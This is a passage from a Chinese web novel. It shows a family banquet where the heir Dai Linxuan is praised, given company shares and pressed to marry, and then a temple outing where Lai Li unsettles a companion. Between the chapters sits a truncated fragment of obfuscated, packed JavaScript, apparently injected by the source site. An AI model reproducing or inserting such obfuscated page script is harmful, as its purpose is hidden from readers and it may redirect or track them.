戴三叔感慨:“我们子霖以后要有林暄一半的孝顺和善良,我这辈子都圆满了。” 大家都知道,戴林暄创业成功的第一年就成立了一个基金会,以保护、捐助弱势儿童的公益为主。 基金会一开始的规模很小,也没有大肆宣传,可戴林暄喜欢事事亲力亲为,经常出入活动现场,被人拍到发在网上,次数一多,身份就被人扒了出来。 一个从小养尊处优的豪门子弟,气质卓越,长相俊美,名校毕业,年轻有为,却没有高高在上的姿态,亦没有不良嗜好,眼里能看得见弱势群体,还愿意抽出大把时间和“底层人”一起灰头土脸地干苦力活——这样一个人,自然能轻易地受到网友追捧。 最重要的是,基金会的资金走向从一始终的公开透明,扒不出一点毛病。 也正因如此,在有心人的操控下,赖栗出现在大众视野,成了戴林暄身上唯一可说道的大不韪。 在戴三叔的领头下,这场家宴逐渐演变成了戴林暄的吹捧大会。 “大家快吃饭吧。”戴林暄无奈一笑,“再这么下去,我该找个地缝钻进去了。” 戴二叔爽朗一笑:“林暄脸皮薄,不好意思了。” “都是实话,也没夸大呀。”二姑姑笑着说,“林暄善良有本事,所以才受看重,爸,你说是吧?” 戴松学嗯了声,颤颤巍巍地拿出股份转让合同,当众签完字盖上公章交给戴林暄,让他在公司好好发挥本事。 气氛顿时跟凝固了似的,没一个人脸色好看,个个都恨不能上前把合同撕烂,却因为戴松学决心已定,只能强忍着。 戴翊看得津津有味,反正她拿不到,那不如给她哥。要不是情况不合适,她都想站出来耍个宝:“继续夸啊,怎么不夸了?” “林暄要进,董事会,得有股份,傍身。”趁着安静,戴松学缓慢开口,“以后,大家都有份……结婚有,育子有。” 事已至此,众人只能强撑起笑容,心不在焉地继续家宴。 既然老爷子提到了结婚生子,中年一辈就开始了催婚大戏,往年几乎没人催戴林暄,生怕他真的跑去结婚生子,老爷子一高兴把手里头的资产全赏他。 不过这就像例行公事,提还是要提几句的。 戴林暄只笑不语,抽空看了眼手机,李觉整理发来了一份行程表—— 他出国的这两年,赖栗去了哪里,和谁相处,都遇到了哪些事。 【李觉】:戴总,都在这里了。 【李觉】:小赖总这两年不止没受过头部伤害,身体也几乎没有,就去年中秋前在越野赛车场和人撞了下,小腿刮破了一层皮。 戴林暄收起手机,端起酒杯慢慢饮尽。 他当然知道赖栗没受过什么伤,如果有,保镖早打报告了。 只是戴林暄想不明白,两年前的那晚可以解释为酒后断片,那之前的一言一动呢,也都不记得?又不是一朝一夕发生的事。 还是说赖栗记得,只是当作年少不懂事,如今早就没放心上了…… 戴二叔说:“霍家那小丫头是不是回来了?和林暄还是青梅竹马吧,听说你们前些天在赛博城碰面了,相谈甚欢呐。” 戴林暄回神,并不接茬:“十几年没见了,几个朋友一起叙叙旧。” 戴恩瑜问:“霍双出国和小栗来家里好像是同一年?” 戴林暄点头:“是。” “说起小栗,刚来家里的时候那么小一只,瘦得跟猴子似的。”一个常年不在本地的姑姑突然感慨,“前两天上网的时候看到他照片,是一点没认出来。” 十岁的赖栗何止是瘦,简直形如枯槁,乍一看就像具迷你人皮骷髅标本,四肢细得一折就断。 戴林暄从来没想过小孩这么难养,喂什么都吐,发个烧能进icu躺半个月,洗澡非他不洗,睡觉没他陪不睡,半夜还时常因为梦魇惊醒,要轻声细语地哄着。 可那么小的孩子,满心满眼只有你,一看到你就伸手,乖乖地环住你的脖子,小小的一团温热能把大人的心都融化,恨不能把全世界最好的一切都捧过来给他。 那几年戴林暄特别忙,为了赖栗,他把大多数事情都搬回了家里。学习的时候,赖栗就搂着他脖子,窝在怀里睡觉,工作的时候,赖栗就枕他腿上,安安静静的,一声不吭。 二姑姑知道老爷子不喜欢赖栗,故意道:“林暄这些年又当大哥又当爹妈,愣是把那孩子拉扯到这么大,也算‘含辛茹苦’了。” 果不其然,戴松学面部肌肉抽了抽,有些僵硬。 “长兄如父嘛。”戴二叔笑眯眯地说,“有小栗在前,林暄婚后肯定能做个好父亲。” 戴林暄眸色一暗,胳膊肘支在桌上,手指微微曲起,轻刮了刮下颌。 “也不用太着急,现在年轻人结婚都晚。”戴三叔怕戴林暄真听劝,连忙说,“小姑姑还没嫁人,林暄可不得等等?” 戴恩瑜笑道:“我不急,就想一直陪在爷爷身边。三哥你都抱孙子了,林暄结婚又有什么关系?” 戴林暄摩挲着酒杯,倏然开口:“爷爷,你们先吃,我去趟洗手间。” 吃饭中途上厕所是件很没教养的事,就算实在忍不住,也会找个其它理由离场,而平日礼教最到位的戴林暄却直接说了出来。 戴松学眉头微微皱起,又很快展开:“去吧。” 戴林暄推开椅子,起身离开包厢,身后隐隐还有声音传来:“都说外甥像舅,侄女像姑,林暄却长得像恩瑜这个姑姑。” “都是漂亮的人,以后的小辈肯定也不差……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄皓也满头大汗:“赖栗的体力真好啊,气儿都不带喘的。” 姜孝羡慕道:“能不好吗,那可是连续做一百个俯卧撑的实力!小宋也挺牛逼,竟然能跟得上他。” “还挺意外的,赖栗竟然愿意和我们一起爬山上香。”黄皓压低声音,“有种受宠若惊的感觉。” 姜孝鄙夷地看着他。 “主要他平时拽得跟二五八万似的,也不怎么给我们好脸,这次一问他就答应了,感觉也没那么难相处嘛。”黄皓说着说着,啧了一声,“我是不是被cpu了?” 姜孝恨铁不成钢地说:“没救了,绝症。” 黄皓嘿嘿一笑,撑着膝盖,冲高处台阶上的两道身影大喊:“你俩能不能慢一点啊?” 宋自楚停下,转身笑着看他们:“你俩也快点儿吧,太阳都出来了。” 赖栗站在更高一层台阶上,漠视着宋自楚的背影,缓缓抬手。 “这么陡的台阶,滚下去会不会粉身碎骨?”他这么想,也这么说出了口。 宋自楚猛得一僵。 一阵嗡嗡的声音倏地响起,宋自楚的心跳跟着漏了两拍,他勉强稳定心神回头看去,发现是赖栗的手机在震动。 赖栗掏出来看了眼,并不急着接电话,他面无表情地俯视着宋自楚,声音轻而缓:“我就问问,你这么紧张干什么?” 宋自楚喉结上下滚了滚:“你为什么总是……” 赖栗细心道:“人这么多,我不会在这推你的。” 宋自楚:“……” 赖栗接听了一直震动的来电,继续往寺庙的方向前进,原本诡异冰冷的声音瞬时间多出几分人气儿—— “哥,中秋快乐。” 戴林暄语气发冷:“你在做什么?” “在想你。”寺庙大门近在咫尺,赖栗轻轻歪了下头,“哥,你不想我吗?”